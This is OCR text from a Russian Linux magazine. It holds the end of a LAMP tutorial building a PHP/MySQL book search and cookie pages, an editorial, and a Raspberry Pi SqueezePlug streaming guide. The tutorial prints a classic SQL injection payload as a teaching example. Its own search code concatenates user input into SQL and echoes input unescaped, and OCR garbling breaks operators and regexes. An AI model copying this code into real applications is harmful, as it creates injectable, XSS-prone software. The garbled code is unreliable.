Как мы ви де ли во вто рой час ти, PHP де ла ет дан ные фор мы 
доступ ны ми в сло ва ре $_REQUEST. Ключ в этом сло ва ре – про
сто имя ком понен та фор мы. Так, что бы по лу чить на звание книги, 
мож но сде лать сле дую щее:
$searchtitle = trim($_REQUEST[‘searchtitle’]);
$searchtitle = addslashes($searchtitle);

Функ ция trim() уда ля ет все про бе лы в на ча ле или в кон це по ля 
вво да, ко то рые мог оста вить там чи та тель. Функ ция addslashes() 
до бав ля ет в стро ку об рат ные слэ ши пе ред сим во ла ми, ко то рые 
нуж но за клю чить в ка выч ки в за про сах к ба зе дан ных. Она так же 
пре достав ля ет ба зо вую за щи ту от атак с при менением SQLинъ
ек ции, о ко то рых я рас ска жу поз же. Дру гая функ ция, ко то рая мо
жет вам здесь при го дить ся – mysqli_real_escape_string(), она де
ла ет это луч ше, но спе ци фич на для MySQL.

Шаг 2: Под клю чим ся к ба зе дан ных
Для досту па к ба зе дан ных MySQL из ко да на PHP мы восполь зу
ем ся биб лио те кой mysqli, ко то рая за менила биб лио те ку mysql (“i” 
оз на ча ет «улуч шен ная [improved]»). Вам, на вер ное, по на до бит
ся ее уста но вить, но в ре по зи то ри ях CentOS она есть. Кроме того, 
нуж но пе ре за пустить Apache:
# yum install phpmysql
# service httpd restart

Эта биб лио те ка пре достав ля ет API в двух сти лях: про це дур ном 
и объ ект ноори ен ти ро ван ном. Разница в основ ном сти ли сти че
 ская; здесь мы восполь зу ем ся объ ект ноори ен ти ро ван ной вер
си ей. Для под клю чения к ба зе дан ных ука жите имя или IPад рес 
сер ве ра MySQL, кор рект ные имя поль зо ва те ля и па роль и имя ба
зы дан ных, к ко то рой нуж но под клю чить ся. Ввы зов функ ции вы
гля дит так:
@ $db = new mysqli(“example.com”, “root”, “secret”, “library”);
if ($db>connect_error) {
   echo “could not connect: “ . $db>connect_error;
   exit(1);
}

Об ра ти те внимание на @ в пер вой стро ке. Это опе ра тор по дав
ления ошиб ки PHP. Мы поль зу ем ся им, что бы со хранить управ
ление в слу чае оши бок и об ра бо тать все ошиб ки са мим.

Шаг 3: По стро им SQL-за прос
В на стоя щем при ло жении этот шаг мо жет усложнить ся, 
но мы оста вим его про стым:
$query = “ select * from books”;
$query = $query . “ where title like ‘%” . $searchtitle . “%’”;

Раз ме щение сай та

Что бы раз вер нуть при ло жение, его нуж
но раз мес тить в ка та ло ге Document Root, 
за дан ном в фай ле на строй ки Apache (/etc/
httpd/conf/httpd�conf). 

В кон фи гу ра ции по умол чанию из ре по
зи то ри ев CentOS он уста нов лен в /var/

www/html. Все что вам нуж но – ско пи
ро вать эти два фай ла (booksearch�html 
и booksearch�php) в этот ка та лог. Для 
про вер ки от крой те брау зер и на бе ри те 
в ад рес ной стро ке http://localhost/book
search.html.

Э
то по следний из че ты рех уро ков се рии, в ко то рой мы го
во рим о сте ке LAMP (Linux, Apache, MySQL и PHP) 
и о том, как с его по мо щью соз да вать ди на ми че  ские, 

управ ляе мые дан ны ми webсай ты. На пер вом уро ке мы со бра
ли час ти L, A и P. На вто ром – по смот ре ли, как HTML и PHP спе
лись для соз дания webпри ло жений. На треть ем мы уз на ли о ба
зах дан ных, немно го по зна ко ми лись с SQL и уста но ви ли часть 
“M” сте ка, MySQL. С уста нов кой но вых ком понен тов по кон че но, 
и в этом ме ся це мы за ста вим все че ты ре ком понен та LAMP ра бо
тать вме сте, на пи сав пол но цен ное webпри ло жение, управ ляе мое 
дан ны ми. Мы раз ра бо та ем при ло жение, ко то рое по зво лит чи та те
лям вы пол нять за про сы к ба зе дан ных биб лио те ки че рез HTML
фор му, и на пи шем сер вер ный код на PHP, ко то рый вы полнит эти 
за про сы к ба зе дан ных и сфор ми ру ет ре зуль тат, от фор ма ти ро
ван ный в HTML. Начнем...

Оп ре де ление мис сии
Нач ну с объ яснения то го, че го мы пы та ем ся до бить ся. Восполь
зо вав шись ба зой дан ных library, соз дан ной в про шлом ме ся
це, мы соз да дим HTMLфор му, ко то рая по зво лит чи та те лю вве
сти на звание и/или ав то ра книги; за тем мы соз да дим страницу 
на PHP, ко то рая бу дет оп ра ши вать ка та лог биб лио те ки и воз вра
щать таб ли цу с со от вет ст вую щи ми книга ми. Ви зу аль но и фор ма 
за про са, и страница с ре зуль та та ми бу дут очень про сты ми, как 
по ка за но на ри сун ках. Начнем с HTMLфор мы booksearch�html. 
Она и вправду проста:
<html>
<head>
   <title>Simple book search</title>
</head>
<body>
<form action=”booksearch.php” method=”POST”>
   Title: <INPUT type=”text” name=”searchtitle”>
   Author: <INPUT type=”text” name=”searchauthor”>
   <INPUT type=”submit” name=”booksearch” value=”Search”>
</form>
</body>
</html>

На этой фор ме есть два по ля вво да и кноп ка, ко то рая воз вра
тит дан ные фор мы об рат но странице booksearch�php. С по мо щью 
этой фор мы мож но осуществлять поиск по на званию книги, ав то
ру или и по то му, и по дру го му сра зу.

За став ля ем «P» го во рить с «M»
Те перь об ра тим свое внимание на страницу по ис ка книги. Но вич
ков в PHP и webпри ло жениях она мо жет малость за пу гать, по

Стек LAMP
В этой по след ней час ти дан ной се рии мы за жи га ем на шу лам пу (LAMP)  
и пи шем на стоя щее webпри ло же ние, управ ляе мое дан ны ми.
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Об ра ти те внимание на опе ра тор объ е динения строк в PHP (�), 
с по мо щью ко то ро го мы со бра ли за прос по ку соч кам. Так же об ра
ти те внимание на ис поль зо вание SQLопе ра то ра like и шаб лон  %. 
Мы ищем книги не с точ ным сов па дением на звания, а с лю бым на
званием, ко то рое со дер жит вве ден ную поль зо ва те лем стро ку.

Шаг 4: Вы полним за прос
PHP пред ла га ет несколь ко ва ри ан тов вы полнения за про са в за
ви си мо сти от то го, как вы хо ти те ра бо тать с ре зуль та та ми. В этом 
при ме ре мы восполь зу ем ся тех но ло ги ей, в ко то рой столб цы ре
зуль та та за про са свя зы ва ют ся с за дан ны ми пе ре мен ны ми PHP. 
В этом фраг мен те ко да $query со дер жит сам за прос, а $db – ссыл
ку на под клю чение к ба зе дан ных, уста но вленное на вто ром ша ге.
$stmt = $db>prepare($query);
$stmt>bind_result($bookid, $title, $author, $onloan, $duedate, 
$borrowerid);
$stmt>execute();

Шаг 5: По лу чим ре зуль та ты
За прос воз вра ща ет на бор ре зуль та тов, со стоя щий из ну ля или бо
лее строк. С по мо щью свя зан ных пе ре мен ных, ко то рые мы соз
да ли ранее, лег ко прой тись по этим стро кам в цик ле и по лу чить 
ре зуль та ты:
while ($stmt>fetch()) {
   echo “$title was written by $author <br />”;
}

Шаг 6: По стро им HTML-от вет
Обыч но на бор ре зуль та тов из несколь ких строк пред став ля ет
ся поль зо ва те лю в ви де таб ли цы, ка ж дая стро ка ко то рой со
от вет ст ву ет стро ке из на бо ра ре зуль та тов. Вот пе ре ра бо тан
ная вер сия пре ды ду ще го фраг мен та ко да, в ко то рую до бав ле но 
несколь ко HTMLтэ гов таб ли цы:
echo “<table>”;
while ($stmt>fetch()) {
   echo “<tr> <td> $title </td> <td> $author </td> </tr>”;
}
echo “</table>”;

Мы по ла га ем ся на то, что пе ре мен ные $title и $author за
полнены да же внут ри двой ных ка вы чек. Те перь объ е диним все 
это вме сте и соз да дим пол но цен ную PHPстраницу booksearch�
php. Не пу гай тесь, ес ли она по ка жет ся слож ной. По боль шей час
ти она со сто ит из фраг мен тов, ко то рые мы уже ви де ли. До бав
ле но немно го до полнитель ной ло ги ки, что бы поль зо ва тель мог 
ис кать по ав то ру, на званию книги или и по то му, и по дру го му вме
сте. На при мер, эта страница мо жет по стро ить за прос вро де select 
* from books where title like ‘ %Potter %’ and author like ‘ %Rowling %’
<html>
<head>
   <title>Library Book Search</title>
</head>
<body>
<h3>Book Search Results</h3><br>
<hr>
<?php
# Get data from form
$searchtitle = trim($_REQUEST[‘searchtitle’]);
$searchauthor = trim($_REQUEST[‘searchauthor’]);
if (!$searchtitle && !$searchauthor) {
   echo “You must specify either a title or an author”;
   exit();
}
$searchtitle = addslashes($searchtitle);
$searchauthor = addslashes($searchauthor);
# Open the database

@ $db = new mysqli(‘localhost’, ‘root’, ‘rootpw’, ‘library’);
if ($db>connect_error) {
   echo “could not connect: “ . $db>connect_error;
   exit();
}
# Build the query. Users are allowed to search on title,
# author, or both
$query = “ select * from books”;
if ($searchtitle && !$searchauthor) { // Title search only
   $query = $query . “ where title like ‘%” . $searchtitle . “%’”;
}
if (!$searchtitle && $searchauthor) { // Author search only
   $query = $query . “ where author like ‘%” . $searchauthor . “%’”;
}
if ($searchtitle && $searchauthor) { // Title and Author search
   $query = $query . “ where title like ‘%” . $searchtitle . “%’ and 
author like ‘%” . $searchauthor .“%’”; // unfinished
}
# Run the query using bound result parameters
$stmt = $db>prepare($query);
$stmt>bind_result($bookid, $title, $author, $onloan,
$duedate, $borrowerid);
$stmt>execute();
echo “<table border=1>”;
while ($stmt>fetch()) {
   echo “<tr><td> $bookid </td> <td> $title </td><td> $author
</td></tr>”;
}
echo “</table>”;
?>
</body>
</html>

В ко де, ко то рый стро ит за прос, есть хит рые ка выч ки – про сто 
помните, что двой ные ка выч ки за щи ща ют оди нар ные. По дан ным 
сай та owasp (https://owasp.org/index.php/Topten), глав ная уг ро
за webсай там – SQLинъ ек ция. Лю бое при ло жение, ко то рое бе
рет «недо ве рен ные» дан ные, вве ден ные поль зо ва те лем, и стро ит 
на их осно ве за прос, ко то рый по том вы пол ня ет, уяз ви мо к та ко
го ро да ата кам, ес ли не пред принима ет долж ных мер пре досто
рож но сти. Под «недо ве рен ны ми» дан ны ми я понимаю дан ные, 
ко то рые вво дит поль зо ва тель (воз мож но, зло умыш ленник) в ви
де тек ста в ком понент для вво да дан ных на фор ме.

Луч ше все го до ба вить на страницу код на JavaScript, ко то рый 
бу дет про ве рять все по ля вво да. Хо тя это по мо га ет пре дот вра
тить от прав ку непра виль но за полнен ной фор мы, это не за щи ща
ет от атак, по то му что ничто не ме ша ет зло умыш леннику от пра
вить го то вую фор му с непра виль ным вво дом. Дру ги ми сло ва ми, 
дан ные, ко то рые вы по лу чае те, не всегда при хо дят из фор мы, 
ко то рую до это го за полнил поль зо ва тель.

Со ве ты по от лад ке

Ес ли в ва шем ко де на PHP есть син так си
че  ские ошиб ки, то при по пыт ке от крыть 
страницу вы ско рее все го по лу чи те со вер
шен но пустую (и аб со лют но бес по лез ную) 
страницу. Что бы за ста вить PHP со об щать 
об ошиб ках, из мените од ну стро ку в /etc/
php�ini:
display_errors = On

и пе ре за пусти те Apache. Те перь син так си
че  ские ошиб ки бу дут воз вра щать ся брау
зе ру. От чет бу дет вклю чать но мер стро ки 

с ошиб кой, но помните, что это но мер 
стро ки, на ко то рой спо ткнул ся ин тер пре
та тор, а са ма ошиб ка мог ла быть рань ше. 
От сут ст вие точ ки с за пя той в предыду
щей стро ке – наи бо лее час тый про кол. 
Воз мож но, вам бу дет удобнее про ве рять 
ошиб ки с команд ной стро ки та ким об ра зом:
php l booksearch.php

Флаг -l пе ре во дит PHP в мяг кий ре жим – 
в нем ин тер пре та тор не вы пол ня ет код, 
а толь ко про ве ря ет син так сис.
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Ка ков же прин цип дей ст вия ата ки с SQLинъ ек ци ей? Вот при
мер – фраг мент ко да PHP, ко то рый по лу ча ет иден ти фи ка тор кли
ен та из фор мы и ис поль зу ет его для по строения за про са. Идея 
со сто ит в том, что бы кли ент уви дел ин фор ма цию о бан ков ском 
сче те толь ко для од но го иден ти фи ка то ра.
# Part of the page accountview.php
$custid = $_REQUEST[“id”];
$query = “select * from accounts where custID = ‘$custid’ “;

Те перь зло умыш ленник от кры ва ет в брау зе ре ад рес http://
example.com/app/accountview.php?id=’ or ‘1’=’1

Здесь «недо ве рен ные» дан ные – это зна чение id. На ша страни
ца по стро ит сле дую щий за прос:
select * from accounts where custID = ‘’ or ‘1’ = ‘1’

Так как вто рое усло вие всегда вер но, за прос вернет всю таб ли
цу accounts!

За щи та
Нам по мо жет ис поль зо вание го то вых шаб ло нов за про сов. Сна
ча ла мы за да ем шаб лон за про са, пометив зна ком ? те мес та, ку
да по па дут дан ные; затем мы мо жем вы полнить за прос, до ба вив 
в шаб лон дан ные на эти мес та.
$query = “insert into borrowers values (?, ?, ?)”;
$stmt = $db>prepare($query);
// ... some time later ...
$db>execute(array(108, “Fred Flintstone”, “4 Quarry Hill, 
Bedrock”));

В ре аль но сти дан ные бу дут не же ст ко «вши ты» в код, а по сту
пят из недо ве рен но го ис точника. Го то вые шаб ло ны по мо га ют ре
шить про бле му, так как лю бые спе ци аль ные сим во лы во вход ных 
дан ных ав то ма ти че  ски эк раниру ют ся. Бо лее на деж ная за щита – 
про вер ка недо ве рен но го вво да на со от вет ст вие ожи дае мо му 

син так си су. На при мер, ес ли кли ент дол жен вве сти да ту в по ле 
вво да “date”, мож но сде лать сле дую щее:
$mydate = trim($_REQUEST[“date”]);
if (!ereg(“^[09]{4}[09]{2}[09]{2}$”, $mydate) {
   echo “date must be YYYYMMDD”;
   return;

Конеч но, эта про вер ка с ре гу ляр ным вы ра жением не слиш ком 
при дир чи ва к да те – и поль зо ва тель смо жет вве сти чтонибудь 
вро де 20148899, но ее доста точ но для то го, что бы об на ру жить 
некор рект ные дан ные, вве ден ные зло умыш ленником.

Во вто рой час ти этой се рии я пи сал о со хранении со стояния 
сес сии в webпри ло жении с по мо щью объ ек та $_SESSION PHP 
и упо мя нул, что для это го неви ди мо для поль зо ва те ля ис поль зу
ет ся ку ки [cookie]. Ин фор ма ция, ко то рая хранит ся та ким об ра зом, 
не пе ре жи вет сес сию. Когда поль зо ва тель за кры ва ет брау зер, 
сес сия ис че за ет. Од на ко мы так же мо жем соз дать «по сто ян ные» 
ку ки (с да той ис те чения), ко то рые по зво лят по сто ян но хранить 
ин фор ма цию ме ж ду раз лич ны ми сес сия ми. Ку ки от прав ля ют
ся сер ве ром брау зе ру как часть за го лов ка HTTPот ве та. Вот при
мер ку ки из Ин тернета, по лу чен ный при от сле жи вании па ке тов 
при от кры тии сай та amazon.co.uk:
Setcookie: sessionid=20239212304252634; path=/;
domain=.amazon.co.uk; expires=Tue 1 Jan 2036 00:00:01 2036 GMT

Здесь session-id – имя ку ки, а это страш ное длин ное чис ло – 
зна чение. Ат ри бу ты domain и path за да ют сайт, ко то ро му при над
ле жит ку ки, а path – путь внут ри сай та, к ко то ро му при ме ня ет ся 
ку ки (в дан ном слу чае это /, так что ку ки при ме ня ет ся ко все му 
сай ту).

Что бы сгенери ро вать ку ки в PHP, вы зо ви те setcookie(). Функ
ции нуж но пе ре дать как минимум имя и зна чение ку ки; так же 
мож но пе ре дать да ту ис те чения ку ки, путь и до мен. Что бы по лу
чить ку ки, об ра ти тесь к мас си ву $_COOKIE, в ка че  ст ве клю ча ис
поль зуя имя ку ки. В от вет вы по лу чи те зна чение ку ки или null, 
ес ли ку ки не су ще ст ву ет.

Вот две ма лень кие страницы, ко то рые ил лю ст ри ру ют ку ки 
в дей ст вии. На пер вой мы пы та ем ся по лу чить из ку ки имя по се
ти те ля. В слу чае успе ха мы при вет ст ву ем поль зо ва те ля по имени. 
В про тив ном слу чае мы пред ла га ем поль зо ва те лю фор му, в ко
то рую он вво дит свое имя. Она от прав ля ет ся на вто рую страни
цу, ко то рая генери ру ет ку ки. Вот осно вы пер вой страницы (я про
пустил об рам ляю щие тэ ги HTML):
<?php
// На звал ли этот поль зо ва тель свое имя?
@ $visitor = $_COOKIE[‘visitor_name’];
if (is_null($visitor)) {
?>
<form action=”record_name.php”>
По жа луй ста, на зо ви тесь:
<input type=text name=”yourname”>
<input type=submit value=”Submit”>
</form>
<?php } else { ?>
При вет <?= $visitor ?>, ра ды ви деть вас сно ва!
<? } ?>
а вот вто рая стра ни ца:
<?php
$visitor = $_REQUEST[‘yourname’];
setcookie(‘visitor_name’, $visitor);
?>
Спа си бо, что пред ста ви лись,
<?= $visitor ?>

Что бы стать webраз ра бот чи ком, нуж но изу чить ог ром ное 
ко ли че  ст во тех но ло гий, и это непро стая за да ча. Но стек LAMP 
по крайней ме ре да ет вам ин ст ру мен ты, с ко то ры ми это мож но 
сде лать. Уда чи! |

> Об щая схе ма� 
Боль шин ст во web-
при ло же ний, управ-
ляе мых дан ны ми, 
вы пол ня ют эти 
шесть ша гов�

Что бы уз нать боль ше

И у PHP, и у MySQL есть пре крас ные сай ты (php.net и dev.mysql.com со от вет ст вен но) 
с но во стя ми, стать я ми и ссыл ка ми на до ку мен та цию. И, как я уже упо мя нул, сайт www.
w3schools.com по мо жет вам по зна ко мить ся с ши ро ким на бо ром тех но ло гий для web
раз ра бот ки, не толь ко с LAMP. Я бы так же по ре ко мен до вал сле дую щие че ты ре книги:
» Web-раз ра бот ка на PHP и MySQL Лю ка Уэл лин га [Luke Welling] и Ло ры Том сон 

[Laura Thomson]
» Apache. Пол ное ру ко во дство Бе на Ло ри [Ben Laurie] и Пи те ра Ло ри [Peter Laurie]
» Ру ко во дство по осно вам web-ди зай на с CSS и HTML Крей га Греннела [Craig Grannell]
» Про грам ми ро вание на PHP Рас му са Лер дор фа [Rasmus Lerdorf], Ке ви на Тат роу 

[Kevin Tatroe] и Пи те ра Ма кин тай ра [Peter MacIntyre]

Поль зо ва тель 
за пол ня ет и от прав ля ет 

фор му

Поль зо ва тель 
про смат ри ва ет 

ре зуль та ты

По каз фор мы поль зо ва те лю

Сбор вве ден ных в фор му дан ных

Под клю че ние к ба зе дан ных

По строе ние SQLза про са на ос но ве дан ных из фор мы

Вы пол не ние за про са

По лу че ние ре зуль та тов

По строе ние HTMLот ве та и от прав ка его в брау зер
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Эво лю ция

Пра виль но или непра виль но –  
это во прос фи ло соф ский.

Вик тор Сте па но вич Чер но мыр дин

Э
во лю ци он ное раз ви тие вы
зы ва ет ас со циа цию с не
спеш ным дви жением лед

ника, от ко то ро го в бли жай шей 
пер спек ти ве мож но и убе жать, но ра
но или позд но он по кро ет все. В эво
лю ции хо ро ша пред ска зуе мость, 
ведь все из менения – пусть их в со во
куп но сти и мно го – невелики, то есть, 
как пра ви ло, со хра ня ет ся со вмес ти
мость, и ка че  ст во су ще ст во вания как 
минимум не ухуд ша ет ся.

По мнению ар хи тек то ра, ко то ро го 
нет у жи вых ор ганиз мов, но ко то рый 
у людей сто ит над про грамм ны ми 
единица ми, непри ят ный недоста ток 
эво лю ции – невоз мож ность резких 
улуч шений в ближ ней пер спек ти ве. 
Ме ж ду дву мя точ ка ми раз ви тия – 
мно го нераз рыв ных мел ких шажков, 
и не всегда в оп ти маль ном на правле
нии. Не пре рыв ность линии – обя за
тель ное усло вие, за то в этом про
ме жут ке объ ект раз ви тия жи вет 
и функ циониру ет. Круп ные скач
ки ма ло ве ро ят ны В итоге по беж да
ет ва ри ант, по лу чаемый за се рию 
неболь ших из менений, ка ж дое из ко
то рых не силь но ухуд шает си ту а цию – 
не обя за тель но са мый эф фек тив ный.

Чем и объ яс ня ет ся по сто ян ное же
лание де ми ур гов от про грам ми ро
вания все вы ки нуть и пе ре пи сать за
но во. Так, вскоре нас ожи да ет сме на 
webдвиж ков у основ ных брау зе ров – 
в ча ст но сти, Mozilla с Servo и Opera 
c Chromium под пи сались на Blink. Вы
жи вут ли их на чи нания? Бу дут ли они 
луч ше? Воз мож но: про грам ми сты 
всета ки лю ди, и вре ме на ми ду мают...
e.m.baldin@inp.nsk.su

Наши эксперты помогут вам с любым приложением Linux!
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же те, пой дя по его сто пам.
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Ко эн Верв лое сем пред став ля ет фор
мат Markdown и удоб ный спо соб пре
вращения обыч но го про сто го тек ста 
в Wordподобный.

Вникать в Erlang  ..............  84

Ан д рей Уша ков, ка жет ся, уже опти
ми зи ро вал в своих многозадачных 
функциях все что толь ко мож но. 
Но уве ря ет, что это толь ко ка жет ся.
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Дмит рий Кузнецов стро ит аскетиче
скиминималистский ди ст ри бу тив, 
ис поль зуя ин ст ру мен ты, до бы тые 
на прошлом уроке.

Стро ки ис ход но го ко да по ме
ща ют ся в цвет ные плаш ки. 
Ес ли стро ка ко да не уме ща ет ся 
в ко лон ке, ее ос та ток пе ре хо дит 
на сле дую щую стро ку, в той же 
плаш ке:
procedure TfrmTextEditor. 
mniWordWrapClick

А плаш ки раз де ле ны за зо ра ми:
begin
mniWordWrap.Checked := false

Код  
в учеб ни ках
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С
а мое по пу ляр ное при менение Raspberry Pi (не счи тая 
об ра зо ва тель но го) – воспро из ве дение муль ти ме диа. 
Для но вич ков: его мож но ис поль зо вать как ма лень кий 

и стиль ный HTPC (Home Theatre Personal Computer – пер со наль
ный ком пь ю тер для до машнего ки но те ат ра) с ме диацен тром 
XBMC. В этом ру ко во дстве мы пре вра тим Raspberry Pi в пол но цен
ный ком пь ю тер для по то ко во го ве щания муль ти ме диа.

С виду сла бо му ма лы шу Raspberry Pi хва тит по ро ху для ор
ганиза ции по то ко во го ве щания по все му ва ше му до му и на лю бые 
уст рой ст ва. Мож но спря тать его за ко лон ка ми HiFi вме сте с USB
дис ком и управ лять воспро из ве дением му зы ки с те ле фо на на An
droid. Или ор ганизо вать по то ко вое ве щание ви део вы со кой чет ко
сти с NAS на план шет. Но глав ное – с его по мо щью так же мож но 
соз дать по то ко вое ве щание му зы ки с те ле фо на Android на ко лон
ки HiFi, как в AirPlay.

У мно гих из нас до ма уже есть по хо жая сис те ма – скажем, 
из NAS и ма ло мощ но го ком пь ю те ра. Эти ком пь ю те ры долж ны 
быть ма лень ки ми, что бы не отнимать у вас жизнен ное про
стран ст во; ти хи ми, что бы шум ный вен ти ля тор не пор тил впе чат
ление от про смот ра филь мов; и де ше вы ми, по то му что вы уже 
уг ро ха ли все день ги на боль шой плаз мен ный те ле ви зор. Raspber
ry Pi удов ле тво ря ет всем трем усло ви ям.

Обыч но для на строй ки та кой сре ды вам ну жен на бор сер вер но
го ПО и на вы ки нинд зя в команд ной стро ке. Но бла го да ря про ек ту 
SqueezePlug, ко то рый де ла ет всю труд ную ра бо ту, на стро ить и за
пустить такое мож но за несколь ко ми нут. Начнем.

С
пер ва за гру зим по след нюю вер сию об раза SqueezePlug 
для Raspberry Pi с www.squeezeplug.eu/?page_id=52. По
сле за груз ки мож но про ве рить его це ло ст ность, про ве

рив кон троль ную сум му MD5 в Windows ути ли той WinMD5Free. 
Об раз рас про стра ня ет ся в ви де ZIPфай ла, и пе ред пе ре но сом 
на SDкар ту его нуж но рас па ко вать. Об ра ти те внимание, что раз

мер рас па ко ван но го об раза – поч ти 4 ГБ, так что вам по на до бит
ся SDкар та объ е мом как минимум 8 ГБ. Раз ра бот чик так же со
ве ту ет брать кар ту клас са 6 или вы ше. Но мер клас са от ра жа ет 
ско рость кар ты – чем он вы ше, тем кар та бы ст рее. Что бы за пи
сать файл об раза SqueezePlug в Windows, за гру зи те USB Image 
Tool с www.alexpage.de/usbimagetool/download. Ус та нав ли вать 
ути ли ту не обя за тель но: про сто за гру зи те ZIPфайл и рас па куй те 
его со дер жи мое. Те перь щелкните пра вой кноп кой на фай ле USB 
Image Tool�exe и вы бе ри те Run as Administrator [За пуск от имени 
ад минист ра то ра] в кон тек ст ном ме ню. На ле вой панели ок на про
грам мы поя вит ся ва ша кар та. Убе ди тесь, что ути ли та ра бо та ет 
в ре жи ме Device [Уст рой ст во], вы брав его из вы па даю ще го ме ню 
в ле вом верхнем уг лу. Для за пи си об раза на кар ту на жми те кноп ку 
Restore [Восста но вить] и вы бе ри те файл об раза SqueezePlug. Про
цесс по тре бу ет вре мени, в за ви си мо сти от ско ро сти кар ты.

Ес ли вы поль зуе тесь Linux, за пи сать об раз на SDкар ту мож но 
поч тен ной ко ман дой dd. В боль шин ст ве ди ст ри бу ти вов кар та ав
то ма ти че  ски смон ти ру ет ся при под клю чении. Что бы уз нать, в ка
кой ка та лог бы ла смон ти ро ва на кар та, восполь зуй тесь ко ман дой 
mount. На при мер, ес ли ва ша кар та смон ти ро ва на в /dev/sdc1, раз
мон ти ро вать ее пе ред за пи сью об раза мож но так:
$ sudo umount /dev/sdc1
$ sudo dd bs=4M if=SqueezePlug_HF_602.img of=/dev/sdc

Ма янк Шар ма уда лен но управ ля ет ва шим Pi для воспро из ве дения и по то ко во го 
ве щания му зы ки и ви део на лю бых уст рой ст вах со SqueezePlug.

Raspberry Pi:  

Наш 
эксперт

Фа нат от кры то
го ПО Ма янк Шар-
ма был пи шу щим 
ре дак то ром Linux.
com и про дол жа ет 
пи сать для Linux
Today, Digg и PC 
Plus.

> Ска чи вай те об-
раз Squeezebox 
Hard-Float, а не бо-
лее мяг кий с ви ду 
Soft-Float�

За гру жа ем SqueezePlug
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В пер вом слу чае доступ к SqueezePlug несло жен. Во вто ром для 
это го по на до бит ся кли ент SSH. Во всех ди ст ри бу ти вах Linux есть 
ути ли та ssh, с по мо щью ко то рой мож но соз дать се анс SSH. В Win
dows вам по на до бит ся кли ент вро де PuTTY. 

Вклю чи те RPi, немно го по до ж ди те и зай ди те на страницу на
строй ки ро уте ра, что бы уз нать IPад рес, ко то рый он на зна чил ком
пь ю те ру [Имя хоста]. В Linux от крой те тер ми нал и вве ди те ко ман ду
sudo ssh root@192.168.2.100

ука зав IPад рес, ко то рый был на зна чен RPi. Зай ди те в Squeeze-
Plug от имени root с па ро лем nosoup4u. SqueezePlug про ве рит на
ли чие всех необ хо ди мых об нов лений, по сле че го спро сит, хо
тите ли вы рас ши рить свою фай ло вую сис те му на всю SDкар ту. 
По ка это мож но про пустить, но со ве тую сде лать это пе ред уста
нов кой до полнитель ных сер ве ров. Это ав то ма ти зи ро ван ный про
цесс из двух эта пов, и все, что от вас нуж но – раз ре шение пе ре за
пустить RPi.

По ток ме диа

> LMS (Logitech 
Media Server — 
ме диа-сер вер 
Logitech) — сер вер 
по то ко во го вос про-
из ве де ния зву ка 
с от кры тым ис ход-
ным ко дом, раз ра-
бо тан ный Logitech�

Ус та нав ли ва ем сер вер и плей ер

В
а ша му зы ка и ви део фай лы ско рее все го хра нят ся 
на внешнем USBдис  ке. Хо тя у RPi есть USBпор ты, лю бые 
USBуст рой ст  ва ре ко мен ду ет ся под клю чать к нему че рез 

USBхаб с внешним пи танием, что бы не на гру жать ис точник пи
тания RPi. Но не под клю чай те USBуст рой ст  во, по ка вас об этом 
не по про сят.

Что бы на це лить SqueezePlug на свою ме диабиб лио те ку, за
пусти те ее панель на строй ки, на брав setup и вы брав па ра метр 
Media_Handling. Во всех ме диасер ве рах в SqueezePlug на стро
ен доступ к фай лам в ка та ло ге /mnt, в ко то рый бу дет смон ти ро
вана ва ша ме диабиб лио те ка. Вам по ка жут спи сок ка та ло гов, где 
бу дут рас по ла гать ся ва ши фай лы. Вы бе ри те ва ри ант USB и од ну 
из двух то чек мон ти ро вания, на при мер, /mnt/hd1 или /mnt/hd2. 
Тут вас по про сят под клю чить USBуст рой ст  во.

SqueezePlug по ка жет ин фор ма цию о по следнем под клю чен
ном уст рой ст  ве: иден ти фи ка тор уст рой ст  ва и его фай ло вую сис
те му. Когда вы убе ди тесь, что это имен но то уст рой ст  во, ко то рое 
вы под клю чи ли, SqueezePlug смон ти ру ет уст рой ст  во в ука зан ной 
ранее точ ке мон ти ро вания.

Те перь мож но вер нуть ся в тер ми нал и на брать mount – про ве
рить, что ме диабиб лио те ка смон ти ро ва на. Так же мож но пе рей
ти в ка та лог мон ти ро вания ко ман дой cd и про смот реть его со дер
жи мое ко ман дой ls, ко то рая долж на вы вес ти спи сок всех фай лов. 
Ес ли вы бу де те вы клю чать или пе ре за гру жать RPi, пе ред тем как 
вклю чать его сно ва, обес печь те под клю чение USBуст рой ст  ва.

Хо тя LMS пред на зна чен в основ ном для ау дио плей е ров 
Squeeze box от Logitech, сер вер мо жет вы пол нять по то ко вое 

ве щание и на дру гие ме диаплей е ры. У сер ве ра так же есть мо
дули расширения, с по мо щью ко то рых мож но ор ганизо вать по то
ко вое ве щание под кас тов или эфир но го ра дио с та ких ра дио стан
ций, как Absolute Radio UK и BBC.

Для уста нов ки сер ве ра пе рей ди те в раз дел Server_and_Player 
кон со ли ад минист ри ро вания SqueezePlug и вы бе ри те Server [Сер
вер]. От кро ет ся спи сок всех сер ве ров по то ко во го воспро из ве
дения, под дер жи вае мых SqueezePlug. При вы бо ре пер во го сер ве
ра в спи ске (LMS), вам пред ло жат уста но вить [Install] или уда лить 
[Uninstall] сер вер.

Ес ли вы вы бра ли уста нов ку сер ве ра, вам по ка жут его ли
цен зию. Ус та но воч ный скрипт LMS, по став ля емый со Squeeze-
Plug, уста но вит про ве рен ную вер сию сер ве ра (в дан ном слу чае 
v7.7.2). Ес ли вы хо ти те уста но вить кон крет ную вер сию, мож но 
вве сти пол ный путь к Debфай лу этой вер сии. Но боль шин ст  во 
поль зо ва те лей долж ны про сто на жать Enter для уста нов ки вер
сии по умол чанию. Скрипт ав то ма ти че   ски за гру зит и уста но вит 
LMS. По за вер шении уста нов ки поя вит ся со об щение со ссыл
кой на webин тер фейс ад минист ри ро вания сер ве ра. По умол
чанию этот ин тер фейс ис поль зу ет порт 9000 – ес ли ад рес ва ше го 
RPi 192.168.3.100, то ад рес webин тер фей са ад минист ри ро вания 
LMS – 192.168.3.100:9000.

Те перь за пусти те брау зер на лю бом ком пь ю те ре се ти и от
кройте кон соль ад минист ри ро вания LMS. При пер вом вхо де 
в сис те му за пустит ся мас тер. Пер вый шаг мож но опустить, ес ли 
у вас нет учет ной за пи си на mysqueezebox.com. На сле дую щем 
ша ге нуж но ука зать ка та лог с му зы кой, в ко то рый вы смон ти ро
ва ли USBдиск, на при мер, /mnt/hd1. На сле дую щем ша ге нуж но 
так же ука зать пап ку с плейлис та ми, ко то рая опять же мо жет 

> SqueezePlug мо жет счи ты вать ме диа-фай лы с SD-кар ты, ло каль-
но го USB-уст рой ст ва, по NFS или се те во го ре сур са Samba в се ти�
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быть точ кой мон ти ро вания на USBдис  ке. На конец, про смот рев 
